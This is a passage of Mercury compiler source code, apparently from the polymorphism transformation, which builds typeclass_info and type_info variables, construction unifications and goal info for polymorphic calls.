!Info),\n\n        set_var_maps_snapshot(\"construct_typeclass_info\",\n            InitialVarMapsSnapshot, !Info),\n        new_typeclass_info_var(Constraint, typeclass_info_kind,\n            TypeClassInfoVar, TypeClassInfoVarType, !Info),\n\n        build_typeclass_info_type(Constraint, BaseConstArgType),\n        BaseConstArg = csa_constant(BaseConsId, BaseConstArgType),\n        StructArgs = [BaseConstArg | VarConstArgs],\n        list.map(get_inst_of_const_struct_arg(ConstStructDb0),\n            VarConstArgs, VarInsts),\n        list.length(ArgVarsMCAs, NumArgs),\n        InstConsId = cell_inst_cons_id(typeclass_info_cell, NumArgs),\n        StructInst = bound(shared, inst_test_results_fgtc,\n            [bound_functor(InstConsId, VarInsts)]),\n        ConstStruct = const_struct(ConsId, StructArgs,\n            TypeClassInfoVarType, StructInst),\n        lookup_insert_const_struct(ConstStruct, ConstNum,\n            ConstStructDb0, ConstStructDb),\n        poly_info_set_const_struct_db(ConstStructDb, !Info),\n        TypeClassInfoConstArg = csa_const_struct(ConstNum),\n        TypeClassInfoMCA = yes(TypeClassInfoConstArg),\n\n        % Create the construction unification to initialize the variable.\n        ConstConsId = typeclass_info_const(ConstNum),\n        Unification = construct(TypeClassInfoVar, ConstConsId, [], [],\n            construct_statically, cell_is_shared, no_construct_sub_info),\n        UnifyMode = (free -> ground(shared, none)) -\n            (ground(shared, none) -> ground(shared, none)),\n        % XXX The UnifyContext is wrong.\n        UnifyContext = unify_context(umc_explicit, []),\n        TypeClassInfoRHS = rhs_functor(ConstConsId, no, []),\n        GoalExpr = unify(TypeClassInfoVar, TypeClassInfoRHS, UnifyMode,\n            Unification, UnifyContext),\n\n        % Create a goal_info for the unification.\n        goal_info_init(GoalInfo0),\n        NonLocals = set_of_var.make_singleton(TypeClassInfoVar),\n        goal_info_set_nonlocals(NonLocals, GoalInfo0, GoalInfo1),\n        % Note that we could perhaps be more accurate than `ground(shared)',\n        % but it shouldn't make any difference.\n        InstResults = inst_test_results(inst_result_is_ground,\n            inst_result_does_not_contain_any,\n            inst_result_contains_instnames_known(set.init),\n            inst_result_contains_types_known(set.init)),\n        TypeClassInfoInst = bound(shared, InstResults,\n            [bound_functor(ConsId, [])]),\n        TypeClassInfoVarInst = TypeClassInfoVar - TypeClassInfoInst,\n        InstMapDelta = instmap_delta_from_assoc_list([TypeClassInfoVarInst]),\n        goal_info_set_instmap_delta(InstMapDelta, GoalInfo1, GoalInfo2),\n        goal_info_set_determinism(detism_det, GoalInfo2, GoalInfo),\n\n        Goal = hlds_goal(GoalExpr, GoalInfo),\n        % XXX reset varset and vartypes\n        AllGoals = [Goal]\n    ;\n        TypeClassInfoMCA = no,\n        new_typeclass_info_var(Constraint, typeclass_info_kind,\n            TypeClassInfoVar, _TypeClassInfoVarType, !Info),\n        assoc_list.keys(ArgVarsMCAs, ArgVars),\n        AllArgVars = [BaseVar | ArgVars],\n\n        % Create the construction unification to initialize the variable.\n        TypeClassInfoRHS = rhs_functor(ConsId, no, AllArgVars),\n        UniMode = (free - ground(shared, none) ->\n            ground(shared, none) - ground(shared, none)),\n        list.length(AllArgVars, NumArgs),\n        list.duplicate(NumArgs, UniMode, UniModes),\n        Unification = construct(TypeClassInfoVar, ConsId, AllArgVars, UniModes,\n            construct_dynamically, cell_is_unique, no_construct_sub_info),\n        UnifyMode = (free -> ground(shared, none)) -\n            (ground(shared, none) -> ground(shared, none)),\n        UnifyContext = unify_context(umc_explicit, []),\n        % XXX The UnifyContext is wrong.\n        GoalExpr = unify(TypeClassInfoVar, TypeClassInfoRHS, UnifyMode,\n            Unification, UnifyContext),\n\n        % Create a goal_info for the unification.\n        goal_info_init(GoalInfo0),\n        set_of_var.list_to_set([TypeClassInfoVar | AllArgVars], NonLocals),\n        goal_info_set_nonlocals(NonLocals, GoalInfo0, GoalInfo1),\n        list.duplicate(NumArgs, ground(shared, none), ArgInsts),\n        % Note that we could perhaps be more accurate than `ground(shared)',\n        % but it shouldn't make any difference.\n        InstConsId = cell_inst_cons_id(typeclass_info_cell, NumArgs),\n        InstResults = inst_test_results(inst_result_is_ground,\n            inst_result_does_not_contain_any,\n            inst_result_contains_instnames_known(set.init),\n            inst_result_contains_types_unknown),\n        % XXX that should be inst_result_contains_types_known(set.init),\n        TypeClassInfoInst = bound(unique, InstResults,\n            [bound_functor(InstConsId, ArgInsts)]),\n        TypeClassInfoVarInst = TypeClassInfoVar - TypeClassInfoInst,\n        InstMapDelta = instmap_delta_from_assoc_list([TypeClassInfoVarInst]),\n        goal_info_set_instmap_delta(InstMapDelta, GoalInfo1, GoalInfo2),\n        goal_info_set_determinism(detism_det, GoalInfo2, GoalInfo),\n\n        Goal = hlds_goal(GoalExpr, GoalInfo),\n        AllGoals = PrevGoals ++ [Goal]\n    ).\n\n%---------------------------------------------------------------------------%\n\n:- pred get_arg_superclass_vars(hlds_class_defn::in, list(mer_type)::in,\n    constraint_proof_map::in, existq_tvars::in,\n    assoc_list(prog_var, maybe(const_struct_arg))::out, list(hlds_goal)::out,\n    poly_info::in, poly_info::out) is det.\n\nget_arg_superclass_vars(ClassDefn, InstanceTypes, SuperClassProofs, ExistQVars,\n        SuperClassTypeClassInfoVarsMCAs, SuperClassGoals, !Info) :-\n    poly_info_get_proofs(!.Info, Proofs),\n\n    poly_info_get_typevarset(!.Info, TVarSet0),\n    SuperClasses0 = ClassDefn ^ class_supers,\n    ClassVars0 = ClassDefn ^ class_vars,\n    ClassTVarSet = ClassDefn ^ class_tvarset,\n    tvarset_merge_renaming(TVarSet0, ClassTVarSet, TVarSet1, Renaming),\n    poly_info_set_typevarset(TVarSet1, !Info),\n\n    apply_variable_renaming_to_tvar_list(Renaming, ClassVars0, ClassVars),\n    map.from_corresponding_lists(ClassVars, InstanceTypes, TypeSubst),\n\n    apply_variable_renaming_to_prog_constraint_list(Renaming,\n        SuperClasses0, SuperClasses1),\n    apply_rec_subst_to_prog_constraint_list(TypeSubst,\n        SuperClasses1, SuperClasses),\n\n    poly_info_set_proofs(SuperClassProofs, !Info),\n    make_superclasses_from_proofs(SuperClasses, ExistQVars,\n        SuperClassTypeClassInfoVarsMCAs, SuperClassGoals, !Info),\n    poly_info_set_proofs(Proofs, !Info).\n\n:- pred make_superclasses_from_proofs(list(prog_constraint)::in,\n    existq_tvars::in, assoc_list(prog_var, maybe(const_struct_arg))::out,\n    list(hlds_goal)::out, poly_info::in, poly_info::out) is det.\n\nmake_superclasses_from_proofs([], _, [], [], !Info).\nmake_superclasses_from_proofs([Constraint | Constraints], ExistQVars,\n        [TypeClassInfoVarMCA | TypeClassInfoVarsMCAs], Goals, !Info) :-\n    term.context_init(Context),\n    make_typeclass_info_var(Constraint, [], ExistQVars, Context,\n        TypeClassInfoVarMCA, HeadGoals, !Info),\n    make_superclasses_from_proofs(Constraints, ExistQVars,\n        TypeClassInfoVarsMCAs, TailGoals, !Info),\n    Goals = HeadGoals ++ TailGoals.\n\n%-----------------------------------------------------------------------------%\n\n    % Produce the typeclass_infos for the existential class constraints\n    % for a call or deconstruction unification.\n    %\n:- pred make_existq_typeclass_info_vars(list(prog_constraint)::in,\n    list(prog_var)::out, list(hlds_goal)::out,\n    poly_info::in, poly_info::out) is det.\n\nmake_existq_typeclass_info_vars(ExistentialConstraints, ExtraTypeClassVars,\n        ExtraGoals, !Info) :-\n    poly_info_get_rtti_varmaps(!.Info, OldRttiVarMaps),\n    make_typeclass_info_head_vars(do_record_type_info_locns,\n        ExistentialConstraints, ExtraTypeClassVars, !Info),\n    poly_info_get_rtti_varmaps(!.Info, RttiVarMaps0),\n    list.foldl(rtti_reuse_typeclass_info_var, ExtraTypeClassVars,\n        RttiVarMaps0, RttiVarMaps),\n    poly_info_set_rtti_varmaps(RttiVarMaps, !Info),\n\n    constraint_list_get_tvars(ExistentialConstraints, TVars0),\n    list.sort_and_remove_dups(TVars0, TVars),\n    list.foldl2(polymorphism_maybe_extract_type_info(OldRttiVarMaps), TVars,\n        [], ExtraGoals, !Info).\n\n    % For code which requires mode reordering, we may have already seen uses\n    % of some of the type variables produced by this call. At the point of the\n    % use of a type variable that we haven't seen before, we assume that it is\n    % unconstrained. If it turns out that the type variable is constrained,\n    % and the type_info is contained in a typeclass_info, we need to generate\n    % code to extract it here.\n    %\n:- pred polymorphism_maybe_extract_type_info(rtti_varmaps::in, tvar::in,\n    list(hlds_goal)::in, list(hlds_goal)::out, poly_info::in, poly_info::out)\n    is det.\n\npolymorphism_maybe_extract_type_info(OldRttiVarMaps, TVar, !ExtraGoals,\n        !Info) :-\n    poly_info_get_rtti_varmaps(!.Info, RttiVarMaps),\n    (\n        rtti_search_type_info_locn(OldRttiVarMaps, TVar,\n            type_info(TypeInfoVar0)),\n        rtti_search_type_info_locn(RttiVarMaps, TVar,\n            typeclass_info(TypeClassInfoVar, Index))\n    ->\n        polymorphism_extract_type_info(TVar, TypeClassInfoVar, Index, NewGoals,\n            TypeInfoVar1, !Info),\n        assign_var(TypeInfoVar0, TypeInfoVar1, AssignGoal),\n        !:ExtraGoals = NewGoals ++ [AssignGoal | !.ExtraGoals]\n    ;\n        true\n    ).\n\n%---------------------------------------------------------------------------%\n\npolymorphism_make_type_info_vars(Types, Context, ExtraVars,\n        ExtraGoals, !Info) :-\n    polymorphism_do_make_type_info_vars(Types, Context, ExtraVarsMCAs,\n        ExtraGoals, !Info),\n    assoc_list.keys(ExtraVarsMCAs, ExtraVars).\n\npolymorphism_make_type_info_var(Type, Context, ExtraVar, ExtraGoals, !Info) :-\n    polymorphism_do_make_type_info_var(Type, Context, ExtraVarMCA,\n        ExtraGoals, !Info),\n    ExtraVarMCA = ExtraVar - _.\n\n:- pred polymorphism_do_make_type_info_vars(list(mer_type)::in,\n    term.context::in,\n    assoc_list(prog_var, maybe(const_struct_arg))::out, list(hlds_goal)::out,\n    poly_info::in, poly_info::out) is det.\n\npolymorphism_do_make_type_info_vars([], _, [], [], !Info).\npolymorphism_do_make_type_info_vars([Type | Types], Context,\n        VarsMCAs, Goals, !Info) :-\n    polymorphism_do_make_type_info_var(Type, Context, HeadVarMCA,\n        HeadGoals, !Info),\n    polymorphism_do_make_type_info_vars(Types, Context, TailVarsMCAs,\n        TailGoals, !Info),\n    VarsMCAs = [HeadVarMCA | TailVarsMCAs],\n    Goals = HeadGoals ++ TailGoals.\n\n:- pred polymorphism_do_make_type_info_var(mer_type::in, term.context::in,\n    pair(prog_var, maybe(const_struct_arg))::out, list(hlds_goal)::out,\n    poly_info::in, poly_info::out) is det.\n\npolymorphism_do_make_type_info_var(Type, Context, VarMCA, ExtraGoals, !Info) :-\n    % First handle statically known types (i.e. types which are not\n    % type variables).\n    ( type_has_variable_arity_ctor(Type, TypeCtor, TypeArgs) ->\n        % This occurs for code where a predicate calls a polymorphic predicate\n        % with a type whose type constructor is of variable arity. The\n        % transformation we perform is basically the same as in the usual case\n        % below, except that we map pred types to pred/0, func types to func/0\n        % and tuple types to tuple/0 for the purposes of creating type_infos.\n        % To allow univ_to_type to check the type_infos correctly, the actual\n        % arity is added to the type_info we create.\n        %\n        % XXX FIXME (RTTI for higher order impure code)\n        % we should not ignore the purity of higher order procs;\n        % it should get included in the RTTI.\n        polymorphism_make_type_info(Type, TypeCtor, TypeArgs, yes,\n            Context, VarMCA, ExtraGoals, !Info)\n    ;\n        (\n            ( Type = defined_type(_, _, _)\n            ; Type = builtin_type(_)\n            ; Type = tuple_type(_, _)\n            ; Type = higher_order_type(_,_, _, _)\n            ; Type = apply_n_type(_, _, _)\n            ; Type = kinded_type(_, _)\n            ),\n            type_to_ctor_and_args_det(Type, TypeCtor, TypeArgs),\n            % This occurs for code where a predicate calls a polymorphic\n            % predicate with a known value of the type variable. The\n            % transformation we perform is shown in the comment at the top\n            % of the module.\n            polymorphism_make_type_info(Type, TypeCtor, TypeArgs, no,\n                Context, VarMCA, ExtraGoals, !Info)\n        ;\n            % Now handle the cases of types which are not known statically,\n            % i.e. type variables.\n            Type = type_variable(TypeVar, _),\n            get_type_info_locn(TypeVar, TypeInfoLocn, !Info),\n            get_type_info_from_locn(TypeVar, TypeInfoLocn, Var, ExtraGoals,\n                !Info),\n            VarMCA = Var - no\n        )\n    ).\n\n:- pred polymorphism_make_type_info(mer_type::in, type_ctor::in,\n    list(mer_type)::in, bool::in, prog_context::in,\n    pair(prog_var, maybe(const_struct_arg))::out,\n    list(hlds_goal)::out, poly_info::in, poly_info::out) is det.\n\npolymorphism_make_type_info(Type, TypeCtor, TypeArgs, TypeCtorIsVarArity,\n        Context, TypeInfoVarMCA, ExtraGoals, !Info) :-\n    poly_info_get_type_info_var_map(!.Info, TypeInfoVarMap0),\n    (\n        map.search(TypeInfoVarMap0, TypeCtor, TypeCtorVarMap0),\n        map.search(TypeCtorVarMap0, TypeArgs, OldTypeInfoVarMCA)\n    ->\n        poly_info_get_num_reuses(!.Info, NumReuses),\n        poly_info_set_num_reuses(NumReuses + 1, !Info),\n        TypeInfoVarMCA = OldTypeInfoVarMCA,\n        ExtraGoals = []\n    ;\n        polymorphism_construct_type_info(Type, TypeCtor, TypeArgs,\n            TypeCtorIsVarArity, Context, TypeInfoVar, TypeInfoConstArg,\n            ExtraGoals, !Info),\n        TypeInfoVarMCA = TypeInfoVar - TypeInfoConstArg,\n        % We have to get the type_info_var_map again since the call just above\n        % could have added relevant new entries to it.\n        poly_info_get_type_info_var_map(!.Info, TypeInfoVarMap1),\n        ( map.search(TypeInfoVarMap1, TypeCtor, TypeCtorVarMap1) ->\n            map.det_insert(TypeArgs, TypeInfoVarMCA,\n                TypeCtorVarMap1, TypeCtorVarMap),\n            map.det_update(TypeCtor, TypeCtorVarMap,\n                TypeInfoVarMap1, TypeInfoVarMap)\n        ;\n            TypeCtorVarMap = map.singleton(TypeArgs, TypeInfoVarMCA),\n            map.det_insert(TypeCtor, TypeCtorVarMap,\n                TypeInfoVarMap1, TypeInfoVarMap)\n        ),\n        poly_info_set_type_info_var_map(TypeInfoVarMap, !Info)\n    ).\n\n:- pred polymorphism_construct_type_info(mer_type::in, type_ctor::in,\n    list(mer_type)::in, bool::in, prog_context::in,\n    prog_var::out, maybe(const_struct_arg)::out,\n    list(hlds_goal)::out, poly_info::in, poly_info::out) is det.\n\npolymorphism_construct_type_info(Type, TypeCtor, TypeArgs, TypeCtorIsVarArity,\n        Context, Var, MCA, ExtraGoals, !Info) :-\n    get_var_maps_snapshot(\"polymorphism_construct_type_info\",\n        InitialVarMapsSnapshot, !Info),\n\n    % Create the typeinfo vars for the arguments.\n    polymorphism_do_make_type_info_vars(TypeArgs, Context,\n        ArgTypeInfoVarsMCAs, ArgTypeInfoGoals, !Info),\n\n    poly_info_get_varset(!.Info, VarSet0),\n    poly_info_get_var_types(!.Info, VarTypes0),\n    poly_info_get_rtti_varmaps(!.Info, RttiVarMaps0),\n\n    TypeCtorConsId = type_ctor_info_cons_id(TypeCtor),\n    TypeCtorConsIdConstArg = csa_constant(TypeCtorConsId, type_info_type),\n    poly_info_get_const_struct_var_map(!.Info, ConstStructVarMap0),\n    ( map.search(ConstStructVarMap0, TypeCtorConsIdConstArg, OldTypeCtorVar) ->\n        poly_info_get_num_reuses(!.Info, NumReuses),\n        poly_info_set_num_reuses(NumReuses + 1, !Info),\n        TypeCtorVar = OldTypeCtorVar,\n        TypeCtorGoals = [],\n        VarSet1 = VarSet0,\n        VarTypes1 = VarTypes0,\n        RttiVarMaps1 = RttiVarMaps0\n    ;\n        init_const_type_ctor_info_var_from_cons_id(Type, TypeCtorConsId,\n            TypeCtorVar, TypeCtorGoal, VarSet0, VarSet1, VarTypes0, VarTypes1,\n            RttiVarMaps0, RttiVarMaps1),\n        TypeCtorGoals = [TypeCtorGoal],\n        map.det_insert(TypeCtorConsIdConstArg, TypeCtorVar,\n            ConstStructVarMap0, ConstStructVarMap1),\n        poly_info_set_const_struct_var_map(ConstStructVarMap1, !Info)\n    ),\n\n    poly_info_set_varset_and_types(VarSet1, VarTypes1, !Info),\n    poly_info_set_rtti_varmaps(RttiVarMaps1, !Info),\n\n    % The rest of this predicate create code that constructs the second cell\n    % of a type_info for Type if we need a second cell for Type. This cell\n    % will usually be of the form:\n    %\n    %   TypeInfoVar = type_info(TypeCtorVar, ArgTypeInfoVars...)\n    %\n    % However, if TypeCtorIsVarArity is true, then it will be of the form\n    %\n    %   TypeInfoVar = type_info(TypeCtorVar, Arity, ArgTypeInfoVars...)\n    %\n    % TypeCtorVar should be the variable holding the type_ctor_info for the\n    % principal type constructor of Type, and TypeCtorIsVarArity should be\n    % true iff the type constructor it represents has a variable arity.\n    %\n    % ArgTypeInfoVars should be variables holding the type_infos (or\n    % type_ctor_infos for zero-arity types) of the argument types of Type.\n    %\n    % The returned Var will be bound to the type_info cell of Type if such\n    % a cell had to be allocated, and to the type_ctor_info of Type's only\n    % type constructor if it didn't.\n\n    (\n        % Unfortunately, if the type's type constructor has variable arity,\n        % we cannot use a one-cell representation for that type.\n        TypeCtorIsVarArity = no,\n        ArgTypeInfoVarsMCAs = []\n    ->\n        % We do not need a second cell for a separate typeinfo; we will use\n        % the type_ctor_info as the type_info.\n\n        % Since this type_ctor_info is pretending to be a type_info,\n        % we need to adjust its type. We handle type_ctor_info_const cons_ids\n        % specially to make sure that this causes no problems.\n        TypeInfoType = type_info_type,\n        Var = TypeCtorVar,\n        TypeCtorConstArg = csa_constant(TypeCtorConsId, type_info_type),\n        MCA = yes(TypeCtorConstArg),\n        ExtraGoals = ArgTypeInfoGoals ++ TypeCtorGoals,\n        update_var_type(TypeCtorVar, TypeInfoType, VarTypes1, VarTypes),\n        poly_info_set_varset_and_types(VarSet1, VarTypes, !Info)\n    ;\n        % We do need a second cell for a separate typeinfo.\n        Cell = type_info_cell(TypeCtor),\n        ConsId = cell_cons_id(Cell),\n\n        poly_info_get_const_struct_db(!.Info, ConstStructDb0),\n        const_struct_db_get_poly_enabled(ConstStructDb0, Enabled),\n        (\n            Enabled = yes,\n            all_are_const_struct_args(ArgTypeInfoVarsMCAs,\n                ArgTypeInfoConstArgs)\n        ->\n            TypeCtorConstArg = csa_constant(TypeCtorConsId, type_info_type),\n            TypeCtorInst = bound(shared, inst_test_results_fgtc,\n                [bound_functor(TypeCtorConsId, [])]),\n            list.map(get_inst_of_const_struct_arg(ConstStructDb0),\n                ArgTypeInfoConstArgs, ArgTypeInfoInsts),\n            (\n                TypeCtorIsVarArity = yes,\n                list.length(ArgTypeInfoVarsMCAs, ActualArity),\n                ArityConstArg = csa_constant(int_const(ActualArity), int_type),\n                ArityInst = bound(shared, inst_test_results_fgtc,\n                    [bound_functor(int_const(ActualArity), [])]),\n                StructConstArgs =\n                    [TypeCtorConstArg, ArityConstArg | ArgTypeInfoConstArgs],\n                StructArgInsts = [TypeCtorInst, ArityInst | ArgTypeInfoInsts]\n            ;\n                TypeCtorIsVarArity = no,\n                StructConstArgs = [TypeCtorConstArg | ArgTypeInfoConstArgs],\n                StructArgInsts = [TypeCtorInst | ArgTypeInfoInsts]\n            ),\n            StructType = type_info_type,\n            list.length(ArgTypeInfoConstArgs, NumArgs),\n            InstConsId = cell_inst_cons_id(Cell, NumArgs),\n            StructInst = bound(shared, inst_test_results_fgtc,\n                [bound_functor(InstConsId, StructArgInsts)]),\n\n            ConstStruct = const_struct(ConsId, StructConstArgs,\n                StructType, StructInst),\n            lookup_insert_const_struct(ConstStruct, ConstNum,\n                ConstStructDb0, ConstStructDb),\n            MCA = yes(csa_const_struct(ConstNum)),\n            poly_info_set_const_struct_db(ConstStructDb, !Info),\n\n            set_var_maps_snapshot(\"maybe_init_second_cell\",\n                InitialVarMapsSnapshot, !Info),\n\n            new_type_info_var(Type, type_info, Var, !Info),\n            Unification = construct(Var, type_info_const(ConstNum),\n                [], [], construct_statically, cell_is_shared,\n                no_construct_sub_info),\n            UnifyMode = (free -> ground(shared, none)) -\n                (ground(shared, none) -> ground(shared, none)),\n            UnifyContext = unify_context(umc_explicit, []),\n            % XXX The UnifyContext is wrong.\n            TypeInfoRHS = rhs_functor(type_info_const(ConstNum), no, []),\n            Unify = unify(Var, TypeInfoRHS, UnifyMode, Unification,\n                UnifyContext),\n\n            % Create a goal_info for the unification.\n            NonLocals = set_of_var.make_singleton(Var),\n            % Note that we could be more accurate than `ground(shared)',\n            % but it shouldn't make any difference.\n            InstResults = inst_test_results(inst_result_is_ground,\n                inst_result_does_not_contain_any,\n                inst_result_contains_instnames_known(set.init),\n                inst_result_contains_types_known(set.init)),\n            VarInst = bound(shared, InstResults,\n                [bound_functor(InstConsId, [])]),\n            InstMapDelta = instmap_delta_from_assoc_list([Var - VarInst]),\n            goal_info_init(NonLocals, InstMapDelta, detism_det, purity_pure,\n                GoalInfo),\n            TypeInfoGoal = hlds_goal(Unify, GoalInfo),\n            ExtraGoals = [TypeInfoGoal]\n        ;\n            assoc_list.keys(ArgTypeInfoVarsMCAs, ArgTypeInfoVars),\n            (\n                TypeCtorIsVarArity = yes,\n                list.length(ArgTypeInfoVars, ActualArity),\n                get_poly_const(ActualArity, ArityVar, ArityGoals, !Info),\n                % The call get_poly_const may (and probably will) allocate\n                % a variable, so VarSet1, VarTypes1 and RttiVarMaps1 are\n                % all out of date.\n                poly_info_get_varset(!.Info, VarSet2),\n                poly_info_get_var_types(!.Info, VarTypes2),\n                poly_info_get_rtti_varmaps(!.Info, RttiVarMaps2),\n                init_type_info_var(Type,\n                    [TypeCtorVar, ArityVar | ArgTypeInfoVars],\n                    no, Var, TypeInfoGoal,\n                    VarSet2, VarSet, VarTypes2, VarTypes,\n                    RttiVarMaps2, RttiVarMaps),\n                ExtraGoals = TypeCtorGoals ++ ArityGoals ++ ArgTypeInfoGoals\n                    ++ [TypeInfoGoal]\n            ;\n                TypeCtorIsVarArity = no,\n                init_type_info_var(Type, [TypeCtorVar | ArgTypeInfoVars],\n                    no, Var, TypeInfoGoal,\n                    VarSet1, VarSet, VarTypes1, VarTypes,\n                    RttiVarMaps1, RttiVarMaps),\n                ExtraGoals = TypeCtorGoals ++ ArgTypeInfoGoals ++\n                    [TypeInfoGoal]\n            ),\n            poly_info_set_varset_and_types(VarSet, VarTypes, !Info),\n            poly_info_set_rtti_varmaps(RttiVarMaps, !Info),\n            MCA = no\n        )\n    ).\n\nget_special_proc(Type, SpecialPredId, ModuleInfo, PredName, PredId, ProcId) :-\n    TypeCategory = classify_type(ModuleInfo, Type),\n    get_category_name(TypeCategory) = MaybeCategoryName,\n    (\n        MaybeCategoryName = no,\n        module_info_get_special_pred_map(ModuleInfo, SpecialPredMap),\n        type_to_ctor_det(Type, TypeCtor),\n        map.search(SpecialPredMap, SpecialPredId - TypeCtor, PredId),\n        module_info_pred_info(ModuleInfo, PredId, PredInfo),\n        Module = pred_info_module(PredInfo),\n        Name = pred_info_name(PredInfo),\n        PredName = qualified(Module, Name),\n        special_pred_mode_num(SpecialPredId, ProcInt),\n        proc_id_to_int(ProcId, ProcInt)\n    ;\n        MaybeCategoryName = yes(CategoryName),\n        special_pred_name_arity(SpecialPredId, SpecialName, _, Arity),\n        Name = \"builtin_\" ++ SpecialName ++ \"_\" ++ CategoryName,\n        lookup_builtin_pred_proc_id(ModuleInfo, mercury_private_builtin_module,\n            Name, pf_predicate, Arity, only_mode, PredId, ProcId),\n        PredName = qualified(mercury_private_builtin_module, Name)\n    ).\n\nget_special_proc_det(Type, SpecialPredId, ModuleInfo, PredName,\n        PredId, ProcId) :-\n    (\n        get_special_proc(Type, SpecialPredId, ModuleInfo,\n            PredNamePrime, PredIdPrime, ProcIdPrime)\n    ->\n        PredName = PredNamePrime,\n        PredId = PredIdPrime,\n        ProcId = ProcIdPrime\n    ;\n        unexpected($module, $pred, \"get_special_proc failed\")\n    ).\n\n:- func get_category_name(type_ctor_category) = maybe(string).\n\nget_category_name(CtorCat) = MaybeName :-\n    (\n        CtorCat = ctor_cat_builtin(cat_builtin_int),\n        MaybeName = yes(\"int\")\n    ;\n        CtorCat = ctor_cat_builtin(cat_builtin_char),\n        MaybeName = yes(\"character\")\n    ;\n        CtorCat = ctor_cat_builtin(cat_builtin_float),\n        MaybeName = yes(\"float\")\n    ;\n        CtorCat = ctor_cat_builtin(cat_builtin_string),\n        MaybeName = yes(\"string\")\n    ;\n        CtorCat = ctor_cat_higher_order,\n        MaybeName = yes(\"pred\")\n    ;\n        CtorCat = ctor_cat_tuple,\n        MaybeName = yes(\"tuple\")\n    ;\n        ( CtorCat = ctor_cat_enum(_)\n        ; CtorCat = ctor_cat_builtin_dummy\n        ; CtorCat = ctor_cat_user(_)\n        ; CtorCat = ctor_cat_system(_)\n        ),\n        MaybeName = no\n    ;\n        CtorCat = ctor_cat_variable,\n        unexpected($module, $pred, \"variable type\")\n    ;\n        CtorCat = ctor_cat_void,\n        unexpected($module, $pred, \"void_type\")\n    ).\n\ninit_type_info_var(Type, ArgVars, MaybePreferredVar, TypeInfoVar, TypeInfoGoal,\n        !VarSet, !VarTypes, !RttiVarMaps) :-\n    type_to_ctor_det(Type, TypeCtor),\n    Cell = type_info_cell(TypeCtor),\n    ConsId = cell_cons_id(Cell),\n    do_init_type_info_var(Type, Cell, ConsId, ArgVars, MaybePreferredVar,\n        TypeInfoVar, TypeInfoGoal, !VarSet, !VarTypes, !RttiVarMaps).\n\n:- pred do_init_type_info_var(mer_type::in, polymorphism_cell::in, cons_id::in,\n    list(prog_var)::in, maybe(prog_var)::in, prog_var::out, hlds_goal::out,\n    prog_varset::in, prog_varset::out, vartypes::in, vartypes::out,\n    rtti_varmaps::in, rtti_varmaps::out) is det.\n\ndo_init_type_info_var(Type, Cell, ConsId, ArgVars, MaybePreferredVar,\n        TypeInfoVar, TypeInfoGoal, !VarSet, !VarTypes, !RttiVarMaps) :-\n    TypeInfoRHS = rhs_functor(ConsId, no, ArgVars),\n    % Introduce a new variable.\n    (\n        MaybePreferredVar = yes(TypeInfoVar)\n    ;\n        MaybePreferredVar = no,\n        new_type_info_var_raw(Type, type_info, TypeInfoVar,\n            !VarSet, !VarTypes, !RttiVarMaps)\n    ),\n\n    % Create the construction unification to initialize the variable.\n    UniMode = (free - ground(shared, none) ->\n        ground(shared, none) - ground(shared, none)),\n    list.length(ArgVars, NumArgVars),\n    list.duplicate(NumArgVars, UniMode, UniModes),\n    Unification = construct(TypeInfoVar, ConsId, ArgVars, UniModes,\n        construct_dynamically, cell_is_unique, no_construct_sub_info),\n    UnifyMode = (free -> ground(shared, none)) -\n        (ground(shared, none) -> ground(shared, none)),\n    UnifyContext = unify_context(umc_explicit, []),\n    % XXX The UnifyContext is wrong.\n    Unify = unify(TypeInfoVar, TypeInfoRHS, UnifyMode, Unification,\n        UnifyContext),\n\n    % Create a goal_info for the unification.\n    set_of_var.list_to_set([TypeInfoVar | ArgVars], NonLocals),\n    list.duplicate(NumArgVars, ground(shared, none), ArgInsts),\n    % Note that we could perhaps be more accurate than `ground(shared)',\n    % but it shouldn't make any difference.\n    InstConsId = cell_inst_cons_id(Cell, NumArgVars),\n    InstResults = inst_test_results(inst_result_is_ground,\n        inst_result_does_not_contain_any,\n        inst_result_contains_instnames_known(set.init),\n        inst_result_contains_types_unknown),\n    TypeInfoVarInst = bound(unique, InstResults,\n        [bound_functor(InstConsId, ArgInsts)]),\n    InstMapDelta = instmap_delta_from_assoc_list(\n        [TypeInfoVar - TypeInfoVarInst]),\n    goal_info_init(NonLocals, InstMapDelta, detism_det, purity_pure, GoalInfo),\n    TypeInfoGoal = hlds_goal(Unify, GoalInfo).\n\ninit_const_type_ctor_info_var(Type, TypeCtor, TypeCtorInfoVar,\n        ConsId, TypeCtorInfoGoal, !VarSet, !VarTypes, !RttiVarMaps) :-\n    ConsId = type_ctor_info_cons_id(TypeCtor),\n    init_const_type_ctor_info_var_from_cons_id(Type, ConsId,\n        TypeCtorInfoVar, TypeCtorInfoGoal, !VarSet, !VarTypes, !RttiVarMaps).\n\n:- pred init_const_type_ctor_info_var_from_cons_id(mer_type::in, cons_id::in,\n    prog_var::out, hlds_goal::out, prog_varset::in, prog_varset::out,\n    vartypes::in, vartypes::out, rtti_varmaps::in, rtti_varmaps::out) is det.\n\ninit_const_type_ctor_info_var_from_cons_id(Type, ConsId,\n        TypeCtorInfoVar, TypeCtorInfoGoal, !VarSet, !VarTypes, !RttiVarMaps) :-\n    % Introduce a new variable.\n    new_type_info_var_raw(Type, type_ctor_info, TypeCtorInfoVar,\n        !VarSet, !VarTypes, !RttiVarMaps),\n\n    % Create the construction unification to initialize the variable.\n    TypeInfoRHS = rhs_functor(ConsId, no, []),\n    Unification = construct(TypeCtorInfoVar, ConsId, [], [],\n        construct_dynamically, cell_is_shared, no_construct_sub_info),\n    UnifyMode = (free -> ground(shared, none)) -\n        (ground(shared, none) -> ground(shared, none)),\n    UnifyContext = unify_context(umc_explicit, []),\n    % XXX The UnifyContext is wrong.\n    Unify = unify(TypeCtorInfoVar, TypeInfoRHS, UnifyMode,\n        Unification, UnifyContext),\n\n    % Create a goal_info for the unification.\n    NonLocals = set_of_var.make_singleton(TypeCtorInfoVar),\n    InstmapDelta = instmap_delta_bind_var(TypeCtorInfoVar),\n    goal_info_init(NonLocals, InstmapDelta, detism_det, purity_pure, GoalInfo),\n    TypeCtorInfoGoal = hlds_goal(Unify, GoalInfo).\n\n%---------------------------------------------------------------------------%\n\n:- pred make_head_vars(list(tvar)::in, tvarset::in,\n    list(prog_var)::out, poly_info::in, poly_info::out) is det.\n\nmake_head_vars([], _, [], !Info).\nmake_head_vars([TypeVar | TypeVars], TypeVarSet, TypeInfoVars, !Info) :-\n    get_tvar_kind(!.Info ^ poly_tvar_kinds, TypeVar, Kind),\n    Type = type_variable(TypeVar, Kind),\n    new_type_info_var(Type, type_info, Var, !Info),\n    ( varset.search_name(TypeVarSet, TypeVar, 